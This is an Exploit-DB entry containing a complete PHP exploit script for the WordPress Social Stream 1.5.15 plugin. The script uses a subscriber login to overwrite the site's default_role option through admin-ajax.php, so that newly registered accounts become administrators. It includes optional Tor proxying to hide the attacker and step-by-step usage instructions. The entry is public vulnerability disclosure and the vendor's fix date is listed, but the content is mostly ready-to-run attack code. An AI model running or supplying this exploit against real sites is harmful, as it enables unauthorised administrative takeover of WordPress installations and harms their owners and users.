Exploit-DB #39946
Description: WordPress Plugin Social Stream 1.5.15 - wp_options Overwrite
Type: webapps
Platform: php
Date: 2016-06-14
Author: wp0Day.com

Exploit:
<?php
/**
 * Exploit Title: WordPress Social Stream  Exploit
 * Google Dork:
 * Exploit Author: wp0Day.com <contact@wp0day.com>
 * Vendor Homepage:
 * Software Link: http://codecanyon.net/item/wordpress-social-stream/2201708?s_rank=15
 * Version: 1.5.15
 * Tested on: Debian 8, PHP 5.6.17-3
 * Type: Authenticated wp_options overwrite
 * Time line: Found [14-May-2016], Vendor notified [14-May-2016], Vendor fixed: [v1.5.16 19/05/2016 (Current Version)],  [RD:[PII_REDACTED]]
 */


require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();


$options = getopt("t:m:u:p:f:c:",array('tor:'));
print_r($options);
$options = validateInput($options);

if (!$options){
    showHelp();
}

if ($options['tor'] === true)
{
    echo " ### USING TOR ###\n";
    echo "Setting TOR Proxy...\n";
    $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
    $curl->addOption(CURLOPT_PROXYTYPE,7);
    echo "Checking IPv4 Address\n";
    $curl->get('https://dynamicdns.park-your-domain.com/getip');
    echo "Got IP : ".$curl->getResponse()."\n";
    echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
    $answer = fgets(fopen ("php://stdin","r"));
    if(trim($answer) != 'wololo'){
        die("Aborting!\n");
    }
    echo "OK...\n";
}


function logIn(){
    global $curl, $options;
    file_put_contents('cookies.txt',"\n");
    $curl->setCookieFile('cookies.txt');
    $curl->get($options['t']);
    $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
    $curl->post($options['t'].'/wp-login.php', $data);
    $status =  $curl->getTransferInfo('http_code');
    if ($status !== 302){
        echo "Login probably failed, aborting...\n";
        echo "Login response saved to login.html.\n";
        die();
    }
    file_put_contents('login.html',$curl->getResponse());


}

function exploit(){
    global $curl, $options;
    if ($options['m'] == 'admin_on'){
        echo "\nEnabling Admin mode\n";
        $data = array('action'=>'dcwss_update', 'option_name'=>'default_role', 'option_value'=>'administrator' );
        $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
        $resp = $curl->getResponse();
        echo "Response: ". $resp."\n";

    }
    if ($options['m'] == 'admin_off'){
        echo "\nDisabling Admin mode\n";
        $data = array('action'=>'dcwss_update', 'option_name'=>'default_role', 'option_value'=>'subscriber' );
        $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
        $resp = $curl->getResponse();
        echo "Response: ". $resp."\n";

    }
}


logIn();
exploit();



function validateInput($options){

    if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
        return false;
    }
    if ( !isset($options['u']) ){
        return false;
    }
    if ( !isset($options['p']) ){
        return false;
    }
    if (!preg_match('~/$~',$options['t'])){
        $options['t'] = $options['t'].'/';
    }
    if (!isset($options['m']) || !in_array($options['m'], array('admin_on','admin_off') ) ){
        return false;
    }
    if ($options['m'] == 'r' && !isset($options['f'])){
        return false;
    }
    $options['tor'] = isset($options['tor']);

    return $options;
}


function showHelp(){
    global $argv;
    $help = <<<EOD

    WordPress Social Stream  Expoit Pack

Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -m [MODE]

       *** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **

       [TARGET_URL] http://localhost/wordpress/
       [MODE] admin_on - Sets default role on registration to Administrator
              admin_off - Sets default role on registration to Subscriber

Exploit Flow: Call the exploit with -m admin_on, and register a user manually.
              After registration call the exploit agiain with -m admin_off .



Examples:
       php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m admin_on

    Misc:
           CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
           @link http://github.com/svyatov/CurlWrapper
           @license http://www.opensource.org/licenses/mit-license.html MIT License

EOD;
    echo $help."\n\n";
    die();
}